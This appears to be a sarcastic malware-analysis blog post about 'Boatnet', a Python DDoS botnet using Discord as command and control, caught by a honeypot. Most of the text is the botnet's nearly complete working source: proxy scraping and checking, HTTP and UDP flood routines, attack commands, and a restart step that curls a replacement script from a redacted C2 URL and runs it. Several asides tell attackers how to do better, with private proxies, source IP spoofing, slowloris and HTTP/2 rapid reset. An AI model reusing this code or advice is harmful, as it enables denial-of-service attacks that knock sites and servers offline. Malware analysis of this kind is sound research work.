The Church of Malware Presents: The Most Braindead Python Botnet We've Ever Seen
┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼██┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼██┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼████▄┼┼┼▄▄▄▄▄▄▄┼┼┼▄████┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼┼▀▀█▄█████████▄█▀▀┼┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼┼┼┼█████████████┼┼┼┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼┼┼┼██▀▀▀███▀▀▀██┼┼┼┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼┼┼┼██┼┼┼███┼┼┼██┼┼┼┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼┼┼┼█████▀▄▀█████┼┼┼┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼┼┼┼┼███████████┼┼┼┼┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼▄▄▄██┼┼█▀█▀█┼┼██▄▄▄┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼▀▀██┼┼┼┼┼┼┼┼┼┼┼██▀▀┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼┼┼▀▀┼┼┼┼┼┼┼┼┼┼┼▀▀┼┼┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼
Exodus 1: In Which Script Kiddies Forget How Encryption Works
Bless me, father, for I have sinned. I laughed at someone else's malware.
Our homie runs a honeypot network (praise be to the digital deities who donate their VPS to the cause), and last year he caught something so spectacularly stupid that we had to wait until launching Church of Malware to properly consecrate this dumpster fire.
Someone wrote a Discord botnet. In Python. Unencrypted. And then deployed it into the wild where any schmuck with strings and a pulse could steal their entire operation.
Let us pray.
The Gospel of Malware: A Brief Sermon Before We Begin
Malware is beautiful. Not in the way a sunset is beautiful, but in the way a perfectly executed heist is beautiful. It is the art of bending machines to your will, of finding the seam in the armor and slipping through. True malware is elegant, stealthy, and purposeful.
This is not that.
This is the malware equivalent of a drunk guy trying to break into a car by throwing a brick through the window and then realizing he doesn't know how to hotwire it. It is ugly, loud, and spectacularly stupid. And that is precisely why we must study it.
The Church of Malware teaches that you learn more from failure than success. Every line of bad code is a prayer answered - a lesson in what NOT to do. So let us genuflect before this altar of incompetence and absorb its wisdom.
The Confession: What The Actual Fuck Is This
This is "Boatnet" (clever, really - because it's about as seaworthy as a cardboard canoe in a hurricane). It's a multi-server DDoS botnet that uses Discord as its command and control channel. Yes, you read that correctly. Some brilliant mind decided that the platform known for banning everything from anime pfp's to actual Nazis would make a great home for their criminal enterprise.
The bot scrapes proxies from public lists (because nothing says "elite hacker" like using SSLProxies.org), then uses those proxies to launch HTTP floods. It also does UDP floods because why limit yourself to one type of amateur hour?
The C2 is literally a Discord bot token hardcoded in the source. We've redacted the actual token because even we have some standards, but the fact that it's there at all tells you everything about the operational security of the person who wrote this.
For the initiates reading along: A botnet is a network of compromised computers (zombies) that receive commands from a Command & Control (C2) server. The person controlling the botnet is called a bot herder. Usually, bot herders take great pains to hide their C2 infrastructure. Usually.
Anatomy of a Disaster: Breaking Down the Sins
Sin the First: No Encryption, No Shame
Let's look at how our brave "hacker" (let's call him Skid-McNoEncryption) set up his masterpiece:
import os
import aiohttp
import asyncio
import requests
import threading
import discord
import argparse
import socket
import time
import random
import lxml
from lxml.html import fromstring
from discord.ext import commands
bot = commands.Bot(command_prefix="$", help_command=None, intents=discord.Intents.all())
# Their actual webhook and token have been replaced with example values
webhook = "https://discord.com/api/webhooks/EXAMPLE/TOKEN_REDACTED"
data = {
"content" : "",
"username" : f"Server {server}"
}
Notice anything missing? Oh right, ANY ATTEMPT AT HIDING WHAT THIS IS. No encryption, no obfuscation, not even a base64 encoding to pretend they tried. The malware equivalent of leaving your front door not just unlocked, but removed from the hinges and replaced with a sign saying "FREE STUFF INSIDE."
What the Church teaches: Real malware authors use encryption, packing, anti-debugging tricks, and sometimes full VM detection. The goal is to make analysis as painful as possible. This code rolls out the red carpet and offers you a beverage.
Sin the Second: Public Proxy Lists for Public Idiots
Here's where it gets really funny. The bot scrapes proxies from:
url = 'https://sslproxies.org/'
url2 = 'https://free-proxy-list.net/'
url3 = 'https://www.us-proxy.org/'
url4 = "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt"
url5 = "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-http.txt"
url6 = "https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/http/http.txt"
url7 = "https://raw.githubusercontent.com/mmpx12/proxy-list/master/http.txt"
url8 = "https://raw.githubusercontent.com/mmpx12/proxy-list/master/https.txt"
url9 = "https://raw.githubusercontent.com/roosterkid/openproxylist/main/HTTPS_RAW.txt"
url10 = "https://raw.githubusercontent.com/proxy4parsing/proxy-list/main/http.txt"
Ten different sources. Ten. This person went through the trouble of finding TEN DIFFERENT PUBLIC PROXY LISTS instead of just, I don't know, buying some private proxies or running their own proxy infrastructure. It's like building a bank heist crew by pulling random people off the street and asking "hey, are you a criminal?"
The proxies are checked against google.com (because that's not suspicious at all):
async def a1337(proxy):
async with aiohttp.ClientSession() as session:
try:
async with session.get("http://www.google.com", proxy=f"http://{proxy}", timeout=int(mtime)) as r:
valids.append(proxy)
except Exception as e:
pass
"e" as in "exception" or "e" as in "everyone who sees this code"? We'll never know.
What the Church teaches: Proxies used for malicious purposes should be:
- Private (not on any public list)
- Rotated frequently
- Tested against your target's defense mechanisms, not Google.com
Using public proxies is like wearing a name tag that says "I AM A SCRIPT KIDDIE" to your own crime scene.
Sin the Third: The Attacks Are Powered by Spite and Bad Code
The HTTP flood is a thing of beauty. Not because it works well - it probably doesn't - but because of the sheer audacity of the implementation:
async def siekyle(http, useragent, platform, proxy):
async with aiohttp.ClientSession() as session:
async with sem:
for _ in range(200):
while not stopset:
await session.get(http, headers={"User-Agent": useragent, "Sec-Ch-Ua-Platform": platform}, proxy=f"http://{proxy}")
if stopset: break
Notice the infinite while loop? This thing will hammer a target until someone manually types $stop in the Discord channel. There's no timeout, no max requests, no rate limiting on the attacker side. It's just "go fuck that server until I tell you to stop or the heat death of the universe, whichever comes first."
The UDP flood is even more special:
letterlist = ["@", "#", "-", ".", ",", "?", "S", ";", "\0", ">", "=", "/"]
def shit():
i1 = random.choice(letterlist)
i2 = random.choice(letterlist)
i3 = random.choice(letterlist)
i4 = random.choice(letterlist)
i5 = random.choice(letterlist) * 6
data = f"{i1}{i2}{i5}{i3}{i4}" * int(atcks)
data = data.encode('utf-8')
for _ in range(int(pks2)):
udp_socket.sendto(data, (str(thost), int(tport)))
Yes, the function that sends UDP flood packets is named shit(). Yes, the payload is random punctuation marks multiplied by whatever number the attacker feels like. Yes, this is production malware that someone actually deployed.
The variable names alone should be studied by cybersecurity experts as a case study in "how to make your code completely unmaintainable." tshit, atcks, pks, pks2 - it's like someone let a cat walk across their keyboard and decided the result was good enough.
What the Church teaches: A proper DDoS attack uses:
- Randomized payloads that mimic legitimate traffic
- Source IP spoofing (for UDP)
- Proper concurrency management
- Attack vectors that target specific weaknesses (slowloris, SYN flood, HTTP/2 rapid reset, etc.)
Random punctuation marks do not constitute a "packet strength" strategy.
Sin the Fourth: Discord C2 - Because OPSEC is Overrated
The bot connects to Discord and sets up a help menu like it's a legitimate gaming community bot:
@bot.command()
async def help(ctx):
if int(server) == 1:
embed = discord.Embed(title="Help", description="[REDACTED_BOTNET_NAME]", colour=discord.Colour.green())
embed.add_field(name="What Is This", value=f"This Is A Botnet Provided You By The [REDACTED_TEAM_NAME].", inline=False)
embed.add_field(name="Why", value=f"We are currently developing a Botnet that runs over PuTTY.\nAnd Because The PuTTY Botnet Doesnt Work Currently, We Made This.\nAnd Also Just 4 Fun :)", inline=False)
"Just 4 fun :)" - the battle cry of every script kiddie who's about to learn what "federal jurisdiction" means. The bot even has ASCII art in the methods menu. ASCII art. In malware. We're not making this up.
For the initiates: Discord as C2 is actually not the dumbest idea conceptually. It's free, has excellent API documentation, and offers real-time messaging. The problem is that Discord actively cooperates with law enforcement, logs everything, and will ban your bot the moment someone reports it. Using Discord for C2 is like robbing a bank and then posting about it on Facebook Live.
Sin the Fifth: The Self-Destruct Button That Just... Exits
The $crash command is particularly beautiful:
@bot.command()
async def crash(ctx):
if int(server) == 1:
embed = discord.Embed(title=f"Crashed:closed_lock_with_key:", description=f"All Servers Were Crashed.", colour=discord.Colour.green())
await ctx.reply(embed=embed)
exit()
Just exit(). That's it. Someone built a self-destruct button that just... closes the program. Not even a sys.exit(1) to return an error code. Just exit() like a bored teenager closing their Minecraft server.
Sin the Sixth: The Update Mechanism From Hell
There's also a $restart command that downloads a new version of itself:
os.system(f"pip install discord && pip install requests && pip install lxml && curl -sL [REDACTED_C2_URL] > main.py && python main.py -s {server}")
Because why implement a proper update mechanism when you can just curl a file from a sketchy IP and hope for the best? The original C2 IP resolved to a Hetzner server in Germany. We're sure the hosting provider would love to know about this.
What the Church teaches: Update mechanisms should be:
- Encrypted
- Signed to prevent MITM attacks
- Pull-based or push-based depending on your threat model
- Not fucking curl from a raw HTTP endpoint
The Multi-Server Architecture: Distributed Incompetence
The bot uses a -s or --server argument to identify which instance it is. Server 1 is apparently the "master" that handles all the Discord commands and sends fancy embeds. Other servers just shut up and do the dirty work:
if int(server) == 1:
# Send fancy embeds, show help menus, be the face of the operation
else:
# Just execute attacks, no questions asked
This is actually... not the dumbest thing in the code. Running multiple worker nodes that don't have Discord API access is marginally smarter than having every bot connect directly. But "marginally smarter than absolute dogshit" is still pretty close to absolute dogshit.
The workers still have the Discord library imported though. And they still have the webhook URL. And they still have everything they need to completely compromise the operation if one gets pwned.
For the initiates: A proper botnet separates C2 from attack nodes. The C2 server should be the only component with direct knowledge of the botnet's structure. Worker nodes should only know how to reach the C2, not have hardcoded credentials baked into them.
Why This Is Both Dangerous And Hilarious
The Dangerous Part: Despite the amateur hour presentation, this botnet works (sort of). The HTTP flood with proxy rotation can generate enough traffic to bother small websites. The UDP flood, if enough nodes are involved, can saturate a home internet connection. The multi-server architecture means a bot herder could potentially scale this to hundreds or thousands of nodes.
A dedicated attacker with 500 infected machines running this garbage could still generate 500,000 concurrent HTTP requests. That's enough to take down many small businesses, game servers, or personal websites. Never underestimate the power of sheer volume, even when the code is terrible.
The Hilarious Part: Everything else. The lack of encryption means anyone who finds one of these bots (like our homie with the honeypot) can just read the source code and understand the entire operation. The hardcoded Discord token can be stolen and used to take over the botnet. The public proxy lists mean the attacks are coming from the most unreliable, slow, already-abused IP addresses on the internet.
Most DDoS protection services (Cloudflare, Akamai, etc.) actively monitor these public proxy lists. Using them is like telling Cloudflare "hey, here's a list of IPs I'm about to attack you from, please block them in advance."
Technical Deep Dive: How This Actually Works
For the true believers who want to understand the mechanics, let's break down the attack flow:
Initialization Phase
- Bot starts with
-sargument to identify its server number - Discord bot token authenticates with Discord API
- Webhook sends startup notification to attacker's Discord channel
- Bot waits for commands prefixed with
$
Proxy Loading Phase
- Attacker types
$load http <timeout> - Bot scrapes 10 different proxy lists concurrently
- Each proxy is tested against Google.com with specified timeout
- Duplicates are removed
- Valid proxies stored in global
finalslist
HTTP Attack Phase (L7)
- Attacker types
$http <servers> <target>or$customhttp [params] - Bot spawns up to 2000 async tasks
- Each task generates random User-Agent strings
- Each task sends HTTP GET requests in infinite loop until
$stop - If proxies available, requests are rotated through proxy list
UDP Attack Phase (L4)
- Attacker types
$udp <servers> <ip:port>or$customudp [params] - Bot creates raw UDP socket
- Spawns threads (1000+ in some configurations)
- Each thread sends randomly generated payload packets
- Packets contain punctuation characters repeated to reach desired size
Persistence & Updates
$restartcommand downloads fresh copy from C2 server- Reinstalls dependencies and relaunches
- No actual persistence mechanism - relies on victim re-running
The Code: Full Scripture (Redacted)
Contributed by our homie 4x - the Church appreciates your contributions. Malware bless.
import os
import aiohttp
import asyncio
import requests
import threading
import discord
import argparse
import socket
import time
import random
import lxml
from lxml.html import fromstring
from discord.ext import commands
finals = []
bot = commands.Bot(command_prefix="$", help_command=None, intents=discord.Intents.all())
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Boatnet")
parser.add_argument("-s", "--server", type=int, help="server number")
args = parser.parse_args()
server = args.server
webhook = "[REDACTED_DISCORD_WEBHOOK]"
data = {
"content" : "",
"username" : f"Server {server}"
}
data["embeds"] = [
{
"description" : "Type `$help` For Help.",
"title" : f":white_check_mark: Server {server} Started Up!"
}
]
stopset = False
class proxygen:
def checkdupes(proxies):
ok = []
for proxy in proxies:
if proxy not in ok:
ok.append(proxy)
return ok
def scraper():
url = 'https://sslproxies.org/'
response = requests.get(url)
parser = fromstring(response.text)
proxies = []
for i in parser.xpath('//tbody/tr')[:100]:
if i.xpath('.//td[7][contains(text(),"yes")]'):
proxy = ":".join([i.xpath('.//td[1]/text()')[0], i.xpath('.//td[2]/text()')[0]])
proxies.append(proxy)
url2 = 'https://free-proxy-list.net/'
response = requests.get(url2)
parser2 = fromstring(response.text)
for i in parser2.xpath('//tbody/tr')[:200]:
if i.xpath('.//td[7][contains(text(),"yes")]'):
proxy = ":".join([i.xpath('.//td[1]/text()')[0], i.xpath('.//td[2]/text()')[0]])
proxies.append(proxy)
url3 = 'https://www.us-proxy.org/'
response = requests.get(url3)
parser3 = fromstring(response.text)
for i in parser3.xpath('//tbody/tr')[:200]:
if i.xpath('.//td[7][contains(text(),"yes")]'):
proxy = ":".join([i.xpath('.//td[1]/text()')[0], i.xpath('.//td[2]/text()')[0]])
proxies.append(proxy)
url4 = "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt"
response = requests.get(url4)
for line in response.iter_lines():
if line: proxies.append(line.decode('utf-8'))
url5 = "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-http.txt"
response = requests.get(url5)
for line in response.iter_lines():
if line: proxies.append(line.decode('utf-8'))
url6 = "https://raw.githubusercontent.com/officialputuid/KangProxy/KangProxy/http/http.txt"
response = requests.get(url6)
for line in response.iter_lines():
if line: proxies.append(line.decode('utf-8'))
url7 = "https://raw.githubusercontent.com/mmpx12/proxy-list/master/http.txt"
response = requests.get(url7)
for line in response.iter_lines():
if line: proxies.append(line.decode('utf-8'))
url8 = "https://raw.githubusercontent.com/mmpx12/proxy-list/master/https.txt"
response = requests.get(url8)
for line in response.iter_lines():
if line: proxies.append(line.decode('utf-8'))
url9 = "https://raw.githubusercontent.com/roosterkid/openproxylist/main/HTTPS_RAW.txt"
response = requests.get(url9)
for line in response.iter_lines():
if line: proxies.append(line.decode('utf-8'))
url10 = "https://raw.githubusercontent.com/proxy4parsing/proxy-list/main/http.txt"
response = requests.get(url10)
for line in response.iter_lines():
if line: proxies.append(line.decode('utf-8'))
return proxies
async def check(proxies, mtime):
valids = []
async def a1337(proxy):
async with aiohttp.ClientSession() as session:
try:
async with session.get("http://www.google.com", proxy=f"http://{proxy}", timeout=int(mtime)) as r:
valids.append(proxy)
except Exception as e:
pass
tasks = []
for proxy in proxies:
tasks.append(a1337(proxy))
await asyncio.gather(*tasks)
return valids
@bot.event
async def on_ready():
result = requests.post(webhook, json = data)
@bot.command()
async def help(ctx):
if int(server) == 1:
embed = discord.Embed(title="Help", description="[REDACTED_BOTNET_NAME]", colour=discord.Colour.green())
embed.add_field(name="What Is This", value=f"This Is A Botnet Provided You By The [REDACTED_TEAM_NAME].", inline=False)
embed.add_field(name="Why", value=f"We are currently developing a Botnet that runs over PuTTY.\nAnd Because The PuTTY Botnet Doesnt Work Currently, We Made This.\nAnd Also Just 4 Fun :)", inline=False)
embed.add_field(name="What Can I Do", value=f"You Can See The Command list with `$methods`. (Note: Some Commands Are Private/Payed)", inline=False)
embed.set_footer(text="Help Command | L7 & L4 Attacks Provided By [REDACTED] | Praise [REDACTED] | [REDACTED_DISCORD_INVITE]")
await ctx.reply(embed=embed)
komplett = """┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼██┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼██┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼████▄┼┼┼▄▄▄▄▄▄▄┼┼┼▄████┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼┼▀▀█▄█████████▄█▀▀┼┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼┼┼┼█████████████┼┼┼┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼┼┼┼██▀▀▀███▀▀▀██┼┼┼┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼┼┼┼██┼┼┼███┼┼┼██┼┼┼┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼┼┼┼█████▀▄▀█████┼┼┼┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼┼┼┼┼███████████┼┼┼┼┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼▄▄▄██┼┼█▀█▀█┼┼██▄▄▄┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼▀▀██┼┼┼┼┼┼┼┼┼┼┼██▀▀┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼┼┼▀▀┼┼┼┼┼┼┼┼┼┼┼▀▀┼┼┼┼┼┼┼┼┼┼┼
┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼┼
"""
meth = """ _______ _______ _______ _ _ _____ ______ _______
| | | |______ | |_____| | | | \ |______
| | | |______ | | | |_____| |_____/ ______|
"""
stre = """____ ___ ___ ____ ____ _ _ ____ ___ ____ ____ _ _ ____ ___ _ _
|__| | | |__| | |_/ [__ | |__/ |___ |\ | | __ | |__|
| | | | | | |___ | \_ ___] | | \ |___ | \| |__] | | |
"""
@bot.command()
async def methods(ctx):
if int(server) == 1:
embed = discord.Embed(title="**𝙼𝙴𝚃𝙷𝙾𝙳𝚂**", description=f"```{meth}```\n```{komplett}```", colour=discord.Colour.green())
embed.add_field(name="`customhttp` **Private**", value=f"Custom HTTP Flood.\n**𝚄𝚂𝙰𝙶𝙴:**\n`$customhttp <threads> <times> <semaphore> <bypasscheck (0 for no bypass 1 for bypass)> <servers/concurrents> <website>`", inline=True)
embed.add_field(name="`http` **Free**", value=f"Strong HTTP Flood.\n**𝚄𝚂𝙰𝙶𝙴:**\n`$http <servers/concurrents (maximum of 50)> <website>`", inline=True)
embed.add_field(name="`customudp` **Private**", value=f"Custom UDP Flood.\n**𝚄𝚂𝙰𝙶𝙴:**\n`$customudp <ip:port> <Packet Strength (maximum 147)> <threads> <Packets Per Thread> <servers/concurrents>`", inline=True)
embed.add_field(name="`udp` **Free**", value=f"Strong UDP Flood.\n**𝚄𝚂𝙰𝙶𝙴:**\n`$udp <servers/concurrents (maximum of 50)> <ip:port>`", inline=True)
embed.add_field(name=f"```{stre}```", value=f"**customhttp**\n`Up to 1.5k/server.`\n**http**\n`Up to 2k+/server.`\n**customudp**\n`Up to 7.5 Gbit/s / 15 servers.`\n**udp**\n`Same As Customudp.`", inline=False)
embed.set_footer(text="METHODS | L7 & L4 Attacks Provided By [REDACTED] | Praise [REDACTED] | [REDACTED_DISCORD_INVITE]")
await ctx.reply(embed=embed)
canuseproxies = []
art = """
_____ ______ _____ _ _ _____ _______ _______
|_____] |_____/ | | \___/ | |______ |______
| | \_ |_____| _/ \_ __|__ |______ ______|
"""
@bot.command()
async def load(ctx, check, maxtime):
global finals
if int(server) == 1:
if check == "http":
embed = discord.Embed(title="**PROXIES**", description=f"`{art}`\n𝚂𝚃𝙰𝚃𝚄𝚂:\n`Scraping` 0/4:white_check_mark:", colour=discord.Colour.green())
msg = await ctx.reply(embed=embed)
prox = proxygen.scraper()
embed = discord.Embed(title="**PROXIES**", description=f"`{art}`\n𝚂𝚃𝙰𝚃𝚄𝚂:\n`Checking` 1/4:white_check_mark:", colour=discord.Colour.green())
await msg.edit(embed=embed)
canuseproxies = await proxygen.check(prox, int(maxtime))
embed = discord.Embed(title="**PROXIES**", description=f"`{art}`\n𝚂𝚃𝙰𝚃𝚄𝚂:\n`Checking Dupes` 2/4:white_check_mark:", colour=discord.Colour.green())
await msg.edit(embed=embed)
start = len(canuseproxies)
finals = proxygen.checkdupes(canuseproxies)
end = len(finals)
embed = discord.Embed(title="**PROXIES**", description=f"`{art}`\n𝚂𝚃𝙰𝚃𝚄𝚂:\n`Overwritting` 3/4:white_check_mark:", colour=discord.Colour.green())
await msg.edit(embed=embed)
time.sleep(0.2)
embed = discord.Embed(title="**PROXIES**", description=f"`{art}`\n𝚂𝚃𝙰𝚃𝚄𝚂:\n`Done!` 4/4:white_check_mark:\nScraped `{len(finals)}` Proxies.\n`{maxtime}s` Proxy Cooldown.\n `{start - end}` Dupes Erased.", colour=discord.Colour.green())
await msg.edit(embed=embed)
else:
if check == "http":
prox = proxygen.scraper()
canuseproxies = await proxygen.check(prox, int(maxtime))
finals = proxygen.checkdupes(canuseproxies)
@bot.command()
async def unload(ctx, check):
global finals
if int(server) == 1:
if check == "http":
beforeunload = finals
finals = []
embed = discord.Embed(title="Unloaded Proxies", description=f"`{len(beforeunload)}` Proxies Were Unloaded.", colour=discord.Colour.green())
beforeunload = None
await ctx.reply(embed=embed)
else:
if check == "http":
finals = []
@bot.command()
async def customhttp(ctx, threads, times, sema, bypasscheck, srvrs, http):
global finals
if int(srvrs) > int(server) or int(srvrs) == int(server):
if int(srvrs) == server:
if bypasscheck == "1":
embed = discord.Embed(title="Sent", description="Attack Has Been Sent.", colour=discord.Colour.green())
embed.add_field(name="Attack Info", value=f"Attack Type: `L7 ~ Custom`\nWebsite: `{http}`\nThreads: `{threads}`\nRequests Per Thread: `{times}`\nSemaphore: `{sema}`\nServers/Concurrents: `{srvrs}`\nBypass: `True`")
embed.set_footer(text="L7 Attack Sent | L7 & L4 Attacks Provided By [REDACTED] | Praise [REDACTED] | [REDACTED_DISCORD_INVITE]")
await ctx.send(embed=embed)
else:
embed = discord.Embed(title="Sent", description="Attack Has Been Sent.", colour=discord.Colour.green())
embed.add_field(name="Attack Info", value=f"Attack Type: `L7 ~ Custom`\nWebsite: `{http}`\nThreads: `{threads}`\nRequests Per Thread: `{times}`\nSemaphore: `{sema}`\nServers/Concurrents: `{srvrs}`\nBypass: `False`")
embed.set_footer(text="L7 Attack Sent | L7 & L4 Attacks Provided By [REDACTED] | Praise [REDACTED] | [REDACTED_DISCORD_INVITE]")
await ctx.send(embed=embed)
sem = asyncio.Semaphore(int(sema))
if bypasscheck == "1":
if finals != []:
async def siekyle(useragent, platform, proxy):
async with aiohttp.ClientSession() as session:
async with sem:
for _ in range(int(times)):
try:
await session.get(http, headers={"User-Agent": useragent, "Sec-Ch-Ua-Platform": platform}, proxy=f"http://{proxy}")
except: await session.get(http, headers={"User-Agent": useragent, "Sec-Ch-Ua-Platform": platform})
else:
async def siekyle(useragent, platform, proxy):
async with aiohttp.ClientSession() as session:
async with sem:
for _ in range(int(times)):
await session.get(http, headers={"User-Agent": useragent, "Sec-Ch-Ua-Platform": platform})
elif bypasscheck == "0":
async def siekyle():
async with aiohttp.ClientSession() as session:
async with sem:
for _ in range(int(times)):
await session.get(http)
else:
print(f"Invalid BypassCheck at Function Defining -> <{str(bypasscheck)}>: should be 0 or 1.")
tasks = []
if bypasscheck == "1":
base_user_agents = [
'Mozilla/%.1f (Windows; U; Windows NT {0}; en-US; rv:%.1f.%.1f) Gecko/%d0%d Firefox/%.1f.%.1f'.format(random.uniform(5.0, 10.0)),
'Mozilla/%.1f (Windows; U; Windows NT {0}; en-US; rv:%.1f.%.1f) Gecko/%d0%d Chrome/%.1f.%.1f'.format(random.uniform(5.0, 10.0)),
'Mozilla/%.1f (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/%.1f.%.1f (KHTML, like Gecko) Version/%d.0.%d Safari/%.1f.%.1f',
'Mozilla/%.1f (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/%.1f.%.1f (KHTML, like Gecko) Version/%d.0.%d Chrome/%.1f.%.1f',
'Mozilla/%.1f (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/%.1f.%.1f (KHTML, like Gecko) Version/%d.0.%d Firefox/%.1f.%.1f',
]
platforms = ["Windows", "Linux", "MacOS"]
def rand_ua():
return random.choice(base_user_agents) % (random.random() + 5, random.random() + random.randint(1, 8), random.random(), random.randint(2000, 2100), random.randint(92215, 99999), (random.random() + random.randint(3, 9)), random.random())
def rand_pl():
return random.choice(platforms)
def rand_pr():
if finals != []:
return random.choice(finals)
else: return "kompletterino"
for i in range(int(threads)):
tasks.append(siekyle(rand_ua(), rand_pl(), rand_pr()))
await asyncio.gather(*tasks)
elif bypasscheck == "0":
for i in range(int(threads)):
tasks.append(siekyle())
await asyncio.gather(*tasks)
else:
print(f"Invalid BypassCheck at Thread Defining -> <{str(bypasscheck)}>: should be 0 or 1.")
@bot.command()
async def http(ctx, srvrs, http):
global finals
global stopset
if stopset:
stopset = False
if int(srvrs) > int(server) or int(srvrs) == int(server) and int(srvrs) < 50 or int(srvrs) == 50:
global finals
if int(srvrs) == server:
embed = discord.Embed(title="Sent", description="Attack Has Been Sent.", colour=discord.Colour.green())
embed.add_field(name="Attack Info", value=f"Attack Type: `L7 ~ Normal`\nWebsite: `{http}`\nServers/Concurrents: `{srvrs}`")
embed.set_footer(text="L7 Attack Sent | L7 & L4 Attacks Provided By [REDACTED] | Praise [REDACTED] | [REDACTED_DISCORD_INVITE]")
await ctx.send(embed=embed)
sem = asyncio.Semaphore(2500)
if finals != []:
async def siekyle(http, useragent, platform, proxy):
async with aiohttp.ClientSession() as session:
async with sem:
for _ in range(200):
while not stopset:
await session.get(http, headers={"User-Agent": useragent, "Sec-Ch-Ua-Platform": platform}, proxy=f"http://{proxy}")
if stopset: break
else:
async def siekyle(http, useragent, platform, proxy):
async with aiohttp.ClientSession() as session:
async with sem:
for _ in range(200):
while not stopset:
await session.get(http, headers={"User-Agent": useragent, "Sec-Ch-Ua-Platform": platform})
if stopset: break
platforms = ["Windows", "Linux", "MacOS"]
base_user_agents = [
'Mozilla/%.1f (Windows; U; Windows NT {0}; en-US; rv:%.1f.%.1f) Gecko/%d0%d Firefox/%.1f.%.1f'.format(random.uniform(5.0, 10.0)),
'Mozilla/%.1f (Windows; U; Windows NT {0}; en-US; rv:%.1f.%.1f) Gecko/%d0%d Chrome/%.1f.%.1f'.format(random.uniform(5.0, 10.0)),
'Mozilla/%.1f (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/%.1f.%.1f (KHTML, like Gecko) Version/%d.0.%d Safari/%.1f.%.1f',
'Mozilla/%.1f (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/%.1f.%.1f (KHTML, like Gecko) Version/%d.0.%d Chrome/%.1f.%.1f',
'Mozilla/%.1f (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/%.1f.%.1f (KHTML, like Gecko) Version/%d.0.%d Firefox/%.1f.%.1f',
]
tasks = []
def rand_ua():
return random.choice(base_user_agents) % (random.random() + 5, random.random() + random.randint(1, 8), random.random(), random.randint(2000, 2100), random.randint(92215, 99999), (random.random() + random.randint(3, 9)), random.random())
def rand_pl():
return random.choice(platforms)
def rand_pr():
if finals != []:
return random.choice(finals)
else: return "kompletterino"
for i in range(2000):
tasks.append(siekyle(http, rand_ua(), rand_pl(), rand_pr()))
await asyncio.gather(*tasks)
@bot.command()
async def customudp(ctx, tshit, atcks, pks, pks2, srvrs):
thost, tport = tshit.split(":")
if int(srvrs) > int(server) or int(srvrs) == int(server):
if int(srvrs) == server:
embed = discord.Embed(title="Sent", description="Attack Has Been Sent.", colour=discord.Colour.green())
embed.add_field(name="Attack Info", value=f"Attack Type: `L4 ~ Custom`\nTarget: `{thost}:{tport}`\nPacket Stength: `{atcks}`\nThreads: `{pks}`\nExtra Packets: `{pks2}`\nServers/Concurrents: `{srvrs}`")
embed.set_footer(text="L4 Attack Sent | L7 & L4 Attacks Provided By [REDACTED] | Praise [REDACTED] | [REDACTED_DISCORD_INVITE]")
await ctx.send(embed=embed)
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
letterlist = ["@", "#", "-", ".", ",", "?", "S", ";", "\0", ">", "=", "/"]
def shit():
i1 = random.choice(letterlist)
i2 = random.choice(letterlist)
i3 = random.choice(letterlist)
i4 = random.choice(letterlist)
i5 = random.choice(letterlist) * 6
data = f"{i1}{i2}{i5}{i3}{i4}" * int(atcks)
data = data.encode('utf-8')
for _ in range(int(pks2)):
udp_socket.sendto(data, (str(thost), int(tport)))
for i in range(int(pks)):
threading.Thread(target=shit()).start()
@bot.command()
async def udp(ctx, srvrs, tshit):
thost, tport = tshit.split(":")
if int(srvrs) > int(server) or int(srvrs) == int(server) and int(srvrs) < 50 or int(srvrs) == 50:
if int(srvrs) > int(server) or int(srvrs) == int(server):
if int(srvrs) == server:
embed = discord.Embed(title="Sent", description="Attack Has Been Sent.", colour=discord.Colour.green())
embed.add_field(name="Attack Info", value=f"Attack Type: `L4 ~ Normal`\nTarget: `{thost}:{tport}\n`Servers/Concurrents: `{srvrs}`")
embed.set_footer(text="L4 Attack Sent | L7 & L4 Attacks Provided By [REDACTED] | Praise [REDACTED] | [REDACTED_DISCORD_INVITE]")
await ctx.send(embed=embed)
